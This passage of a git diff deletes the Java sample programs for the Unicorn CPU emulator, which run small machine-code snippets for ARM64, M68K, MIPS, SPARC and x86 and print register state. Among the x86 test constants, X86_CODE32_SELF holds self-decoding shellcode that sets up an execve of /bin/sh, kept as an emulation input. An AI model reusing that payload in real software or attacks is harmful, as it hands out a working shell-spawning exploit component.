General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -/* Unicorn Emulator Engine */ -/* By Nguyen Anh Quynh, 2015 */ - -/* Sample code to demonstrate how to emulate ARM64 code */ - -import unicorn.*; - -public class Sample_arm64 { - - // code to be emulated - public static final byte[] ARM_CODE = {-85,1,15,-117}; // add x11, x13, x15 - - // memory address where emulation starts - public static final int ADDRESS = 0x10000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } - - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } - - // callback for tracing basic blocks - private static class MyBlockHook implements BlockHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); - } - } - - // callback for tracing instruction - private static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - } - } - - static void test_arm64() - { - - Long x11 = 0x1234L; // X11 register - Long x13 = 0x6789L; // X13 register - Long x15 = 0x3333L; // X15 register - - System.out.print("Emulate ARM64 code\n"); - - // Initialize emulator in ARM mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, ARM_CODE); - - // initialize machine registers - u.reg_write(Unicorn.UC_ARM64_REG_X11, x11); - u.reg_write(Unicorn.UC_ARM64_REG_X13, x13); - u.reg_write(Unicorn.UC_ARM64_REG_X15, x15); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing one instruction at ADDRESS with customized callback - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - x11 = (Long)u.reg_read(Unicorn.UC_ARM64_REG_X11); - System.out.print(String.format(">>> X11 = 0x%x\n", x11.longValue())); - - u.close(); - } - - public static void main(String args[]) - { - test_arm64(); - } -} diff --git a/bindings/java/samples/Sample_m68k.java b/bindings/java/samples/Sample_m68k.java deleted file mode 100644 index f4658aff49..0000000000 --- a/bindings/java/samples/Sample_m68k.java +++ /dev/null @@ -1,177 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -/* Unicorn Emulator Engine */ -/* By Loi Anh Tuan, 2015 */ - -/* Sample code to demonstrate how to emulate m68k code */ - -import unicorn.*; - -public class Sample_m68k { - - // code to be emulated - public static final byte[] M68K_CODE = {118,-19}; // movq #-19, %d3 - - // memory address where emulation starts - public static final int ADDRESS = 0x10000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } - - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } - - // callback for tracing basic blocks - private static class MyBlockHook implements BlockHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); - } - } - - // callback for tracing instruction - private static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - } - } - - static void test_m68k() - { - Long d0 = 0x0000L; // d0 data register - Long d1 = 0x0000L; // d1 data register - Long d2 = 0x0000L; // d2 data register - Long d3 = 0x0000L; // d3 data register - Long d4 = 0x0000L; // d4 data register - Long d5 = 0x0000L; // d5 data register - Long d6 = 0x0000L; // d6 data register - Long d7 = 0x0000L; // d7 data register - - Long a0 = 0x0000L; // a0 address register - Long a1 = 0x0000L; // a1 address register - Long a2 = 0x0000L; // a2 address register - Long a3 = 0x0000L; // a3 address register - Long a4 = 0x0000L; // a4 address register - Long a5 = 0x0000L; // a5 address register - Long a6 = 0x0000L; // a6 address register - Long a7 = 0x0000L; // a6 address register - - Long pc = 0x0000L; // program counter - Long sr = 0x0000L; // status register - - System.out.print("Emulate M68K code\n"); - - // Initialize emulator in M68K mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, M68K_CODE); - - // initialize machine registers - u.reg_write(Unicorn.UC_M68K_REG_D0, d0); - u.reg_write(Unicorn.UC_M68K_REG_D1, d1); - u.reg_write(Unicorn.UC_M68K_REG_D2, d2); - u.reg_write(Unicorn.UC_M68K_REG_D3, d3); - u.reg_write(Unicorn.UC_M68K_REG_D4, d4); - u.reg_write(Unicorn.UC_M68K_REG_D5, d5); - u.reg_write(Unicorn.UC_M68K_REG_D6, d6); - u.reg_write(Unicorn.UC_M68K_REG_D7, d7); - - u.reg_write(Unicorn.UC_M68K_REG_A0, a0); - u.reg_write(Unicorn.UC_M68K_REG_A1, a1); - u.reg_write(Unicorn.UC_M68K_REG_A2, a2); - u.reg_write(Unicorn.UC_M68K_REG_A3, a3); - u.reg_write(Unicorn.UC_M68K_REG_A4, a4); - u.reg_write(Unicorn.UC_M68K_REG_A5, a5); - u.reg_write(Unicorn.UC_M68K_REG_A6, a6); - u.reg_write(Unicorn.UC_M68K_REG_A7, a7); - - u.reg_write(Unicorn.UC_M68K_REG_PC, pc); - u.reg_write(Unicorn.UC_M68K_REG_SR, sr); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instruction - u.hook_add(new MyCodeHook(), 1, 0, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + M68K_CODE.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - d0 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D0); - d1 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D1); - d2 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D2); - d3 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D3); - d4 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D4); - d5 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D5); - d6 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D6); - d7 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D7); - - a0 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A0); - a1 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A1); - a2 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A2); - a3 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A3); - a4 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A4); - a5 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A5); - a6 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A6); - a7 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A7); - - pc = (Long)u.reg_read(Unicorn.UC_M68K_REG_PC); - sr = (Long)u.reg_read(Unicorn.UC_M68K_REG_SR); - - System.out.print(String.format(">>> A0 = 0x%x\t\t>>> D0 = 0x%x\n", a0.intValue(), d0.intValue())); - System.out.print(String.format(">>> A1 = 0x%x\t\t>>> D1 = 0x%x\n", a1.intValue(), d1.intValue())); - System.out.print(String.format(">>> A2 = 0x%x\t\t>>> D2 = 0x%x\n", a2.intValue(), d2.intValue())); - System.out.print(String.format(">>> A3 = 0x%x\t\t>>> D3 = 0x%x\n", a3.intValue(), d3.intValue())); - System.out.print(String.format(">>> A4 = 0x%x\t\t>>> D4 = 0x%x\n", a4.intValue(), d4.intValue())); - System.out.print(String.format(">>> A5 = 0x%x\t\t>>> D5 = 0x%x\n", a5.intValue(), d5.intValue())); - System.out.print(String.format(">>> A6 = 0x%x\t\t>>> D6 = 0x%x\n", a6.intValue(), d6.intValue())); - System.out.print(String.format(">>> A7 = 0x%x\t\t>>> D7 = 0x%x\n", a7.intValue(), d7.intValue())); - System.out.print(String.format(">>> PC = 0x%x\n", pc.intValue())); - System.out.print(String.format(">>> SR = 0x%x\n", sr.intValue())); - - u.close(); - } - - public static void main(String args[]) - { - test_m68k(); - } -} diff --git a/bindings/java/samples/Sample_mips.java b/bindings/java/samples/Sample_mips.java deleted file mode 100644 index e338864f75..0000000000 --- a/bindings/java/samples/Sample_mips.java +++ /dev/null @@ -1,151 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -/* Unicorn Emulator Engine */ -/* By Nguyen Anh Quynh, 2015 */ - -/* Sample code to demonstrate how to emulate Mips code (big endian) */ - -import unicorn.*; - -public class Sample_mips { - - // code to be emulated - public static final byte[] MIPS_CODE_EB = {52,33,52,86}; - public static final byte[] MIPS_CODE_EL = {86,52,33,52}; - - // memory address where emulation starts - public static final int ADDRESS = 0x10000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } - - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } - - // callback for tracing basic blocks - private static class MyBlockHook implements BlockHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); - } - } - - // callback for tracing instruction - private static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - } - } - - static void test_mips_eb() - { - - Long r1 = 0x6789L; // R1 register - - System.out.print("Emulate MIPS code (big-endian)\n"); - - // Initialize emulator in MIPS mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_BIG_ENDIAN); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, MIPS_CODE_EB); - - // initialize machine registers - u.reg_write(Unicorn.UC_MIPS_REG_1, r1); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing one instruction at ADDRESS with customized callback - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EB.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r1 = (Long)u.reg_read(Unicorn.UC_MIPS_REG_1); - System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue())); - - u.close(); - } - - static void test_mips_el() - { - Long r1 = 0x6789L; // R1 register - - System.out.print("===========================\n"); - System.out.print("Emulate MIPS code (little-endian)\n"); - - // Initialize emulator in MIPS mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_LITTLE_ENDIAN); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, MIPS_CODE_EL); - - // initialize machine registers - u.reg_write(Unicorn.UC_MIPS_REG_1, r1); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing one instruction at ADDRESS with customized callback - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EL.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r1 = (Long)u.reg_read(Unicorn.UC_MIPS_REG_1); - System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue())); - - u.close(); - } - - public static void main(String args[]) - { - test_mips_eb(); - test_mips_el(); - } -} diff --git a/bindings/java/samples/Sample_sparc.java b/bindings/java/samples/Sample_sparc.java deleted file mode 100644 index b2849f459b..0000000000 --- a/bindings/java/samples/Sample_sparc.java +++ /dev/null @@ -1,115 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -/* Unicorn Emulator Engine */ -/* By Nguyen Anh Quynh, 2015 */ - -/* Sample code to demonstrate how to emulate Sparc code */ - -import unicorn.*; - -public class Sample_sparc { - - // code to be emulated - public static final byte[] SPARC_CODE = {-122,0,64,2}; - //public static final byte[] SPARC_CODE = {-69,112,0,0}; //illegal code - - // memory address where emulation starts - public static final int ADDRESS = 0x10000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } - - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } - - // callback for tracing basic blocks - private static class MyBlockHook implements BlockHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); - } - } - - // callback for tracing instruction - private static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - } - } - - static void test_sparc() - { - Long g1 = 0x1230L; // G1 register - Long g2 = 0x6789L; // G2 register - Long g3 = 0x5555L; // G3 register - - System.out.print("Emulate SPARC code\n"); - - // Initialize emulator in Sparc mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_SPARC, Unicorn.UC_MODE_32 + Unicorn.UC_MODE_BIG_ENDIAN); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, SPARC_CODE); - - // initialize machine registers - u.reg_write(Unicorn.UC_SPARC_REG_G1, g1); - u.reg_write(Unicorn.UC_SPARC_REG_G2, g2); - u.reg_write(Unicorn.UC_SPARC_REG_G3, g3); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing one instruction at ADDRESS with customized callback - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + SPARC_CODE.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - g3 = (Long)u.reg_read(Unicorn.UC_SPARC_REG_G3); - System.out.print(String.format(">>> G3 = 0x%x\n", g3.intValue())); - - u.close(); - } - - public static void main(String args[]) - { - test_sparc(); - } -} diff --git a/bindings/java/samples/Sample_x86.java b/bindings/java/samples/Sample_x86.java deleted file mode 100644 index 652663f869..0000000000 --- a/bindings/java/samples/Sample_x86.java +++ /dev/null @@ -1,669 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -/* Unicorn Emulator Engine */ -/* By Nguyen Anh Quynh & Dang Hoang Vu, 2015 */ - -/* Sample code to demonstrate how to emulate X86 code */ - -import unicorn.*; - -public class Sample_x86 { - - // code to be emulated - public static final byte[] X86_CODE32 = {65,74}; - public static final byte[] X86_CODE32_JUMP = {-21,2,-112,-112,-112,-112,-112,-112}; - public static final byte[] X86_CODE32_SELF = {-21,28,90,-119,-42,-117,2,102,61,-54,125,117,6,102,5,3,3,-119,2,-2,-62,61,65,65,65,65,117,-23,-1,-26,-24,-33,-1,-1,-1,49,-46,106,11,88,-103,82,104,47,47,115,104,104,47,98,105,110,-119,-29,82,83,-119,-31,-54,125,65,65,65,65}; - public static final byte[] X86_CODE32_LOOP = {65,74,-21,-2}; - public static final byte[] X86_CODE32_MEM_WRITE = {-119,13,-86,-86,-86,-86,65,74}; - public static final byte[] X86_CODE32_MEM_READ = {-117,13,-86,-86,-86,-86,65,74}; - public static final byte[] X86_CODE32_JMP_INVALID = {-23,-23,-18,-18,-18,65,74}; - public static final byte[] X86_CODE32_INOUT = {65,-28,63,74,-26,70,67}; - public static final byte[] X86_CODE64 = {65,-68,59,-80,40,42,73,15,-55,-112,77,15,-83,-49,73,-121,-3,-112,72,-127,-46,-118,-50,119,53,72,-9,-39,77,41,-12,73,-127,-55,-10,-118,-58,83,77,-121,-19,72,15,-83,-46,73,-9,-44,72,-9,-31,77,25,-59,77,-119,-59,72,-9,-42,65,-72,79,-115,107,89,77,-121,-48,104,106,30,9,60,89}; - public static final byte[] X86_CODE16 = {0, 0}; // add byte ptr [bx + si], al - - // memory address where emulation starts - public static final int ADDRESS = 0x1000000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } - - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } - - // callback for tracing basic blocks - // callback for tracing instruction - private static class MyBlockHook implements BlockHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.printf(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size); - } - } - - // callback for tracing instruction - private static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.printf(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size); - - Long eflags = (Long)u.reg_read(Unicorn.UC_X86_REG_EFLAGS); - System.out.printf(">>> --- EFLAGS is 0x%x\n", eflags.intValue()); - - // Uncomment below code to stop the emulation using uc_emu_stop() - // if (address == 0x1000009) - // u.emu_stop(); - } - } - - private static class MyWriteInvalidHook implements EventMemHook { - public boolean hook(Unicorn u, long address, int size, long value, Object user) { - System.out.printf(">>> Missing memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", - address, size, value); - // map this memory in with 2MB in size - u.mem_map(0xaaaa0000, 2 * 1024*1024, Unicorn.UC_PROT_ALL); - // return true to indicate we want to continue - return true; - } - } - - // callback for tracing instruction - private static class MyCode64Hook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - Long r_rip = (Long)u.reg_read(Unicorn.UC_X86_REG_RIP); - System.out.printf(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size); - System.out.printf(">>> RIP is 0x%x\n", r_rip.longValue()); - - // Uncomment below code to stop the emulation using uc_emu_stop() - // if (address == 0x1000009) - // uc_emu_stop(handle); - } - } - - - private static class MyRead64Hook implements ReadHook { - public void hook(Unicorn u, long address, int size, Object user) { - System.out.printf(">>> Memory is being READ at 0x%x, data size = %d\n", address, size); - } - } - - private static class MyWrite64Hook implements WriteHook { - public void hook(Unicorn u, long address, int size, long value, Object user) { - System.out.printf(">>> Memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", - address, size, value); - } - } - - // callback for IN instruction (X86). - // this returns the data read from the port - private static class MyInHook implements InHook { - public int hook(Unicorn u, int port, int size, Object user_data) { - Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP); - - System.out.printf("--- reading from port 0x%x, size: %d, address: 0x%x\n", port, size, r_eip.intValue()); - - switch(size) { - case 1: - // read 1 byte to AL - return 0xf1; - case 2: - // read 2 byte to AX - return 0xf2; - case 4: - // read 4 byte to EAX - return 0xf4; - } - return 0; - } - } - - // callback for OUT instruction (X86). - private static class MyOutHook implements OutHook { - public void hook(Unicorn u, int port, int size, int value, Object user) { - Long eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP); - Long tmp = null; - System.out.printf("--- writing to port 0x%x, size: %d, value: 0x%x, address: 0x%x\n", port, size, value, eip.intValue()); - - // confirm that value is indeed the value of AL/AX/EAX - switch(size) { - default: - return; // should never reach this - case 1: - tmp = (Long)u.reg_read(Unicorn.UC_X86_REG_AL); - break; - case 2: - tmp = (Long)u.reg_read(Unicorn.UC_X86_REG_AX); - break; - case 4: - tmp = (Long)u.reg_read(Unicorn.UC_X86_REG_EAX); - break; - } - - System.out.printf("--- register value = 0x%x\n", tmp.intValue()); - } - } - - static void test_i386() { - Long r_ecx = 0x1234L; // ECX register - Long r_edx = 0x7890L; // EDX register - - System.out.print("Emulate i386 code\n"); - - // Initialize emulator in X86-32bit mode - Unicorn uc; - try { - uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - } catch (UnicornException uex) { - System.out.println("Failed on uc_open() with error returned: " + uex); - return; - } - - // map 2MB memory for this emulation - uc.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - try { - uc.mem_write(ADDRESS, X86_CODE32); - } catch (UnicornException uex) { - System.out.println("Failed to write emulation code to memory, quit!\n"); - return; - } - - // initialize machine registers - uc.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - uc.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); - - // tracing all basic blocks with customized callback - uc.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instruction by having @begin > @end - uc.hook_add(new MyCodeHook(), 1, 0, null); - - // emulate machine code in infinite time - try { - uc.emu_start(ADDRESS, ADDRESS + X86_CODE32.length, 0, 0); - } catch (UnicornException uex) { - System.out.printf("Failed on uc_emu_start() with error : %s\n", - uex.getMessage()); - } - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r_ecx = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX); - r_edx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EDX); - System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); - System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); - - // read from memory - try { - byte[] tmp = uc.mem_read(ADDRESS, 4); - System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", ADDRESS, toInt(tmp)); - } catch (UnicornException ex) { - System.out.printf(">>> Failed to read 4 bytes from [0x%x]\n", ADDRESS); - } - uc.close(); - } - - static void test_i386_inout() - { - Long r_eax = 0x1234L; // ECX register - Long r_ecx = 0x6789L; // EDX register - - System.out.print("===================================\n"); - System.out.print("Emulate i386 code with IN/OUT instructions\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_INOUT); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_EAX, r_eax); - u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instructions - u.hook_add(new MyCodeHook(), 1, 0, null); - - // handle IN instruction - u.hook_add(new MyInHook(), null); - // handle OUT instruction - u.hook_add(new MyOutHook(), null); - - // emulate machine code in infinite time - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_INOUT.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r_eax = (Long)u.reg_read(Unicorn.UC_X86_REG_EAX); - r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); - System.out.printf(">>> EAX = 0x%x\n", r_eax.intValue()); - System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); - - u.close(); - } - - static void test_i386_jump() - { - System.out.print("===================================\n"); - System.out.print("Emulate i386 code with jump\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_JUMP); - - // tracing 1 basic block with customized callback - u.hook_add(new MyBlockHook(), ADDRESS, ADDRESS, null); - - // tracing 1 instruction at ADDRESS - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_JUMP.length, 0, 0); - - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - u.close(); - } - - // emulate code that loop forever - static void test_i386_loop() - { - Long r_ecx = 0x1234L; // ECX register - Long r_edx = 0x7890L; // EDX register - - System.out.print("===================================\n"); - System.out.print("Emulate i386 code that loop forever\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_LOOP); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); - - // emulate machine code in 2 seconds, so we can quit even - // if the code loops - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_LOOP.length, 2 * Unicorn.UC_SECOND_SCALE, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); - r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); - System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); - System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); - - u.close(); - } - - // emulate code that read invalid memory - static void test_i386_invalid_mem_read() - { - Long r_ecx = 0x1234L; // ECX register - Long r_edx = 0x7890L; // EDX register - - System.out.print("===================================\n"); - System.out.print("Emulate i386 code that read from invalid memory\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_MEM_READ); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instruction by having @begin > @end - u.hook_add(new MyCodeHook(), 1, 0, null); - - // emulate machine code in infinite time - try { - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ.length, 0, 0); - } catch (UnicornException uex) { - int err = u.errno(); - System.out.printf("Failed on u.emu_start() with error returned: %s\n", uex.getMessage()); - } - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); - r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); - System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); - System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); - - u.close(); - } - - 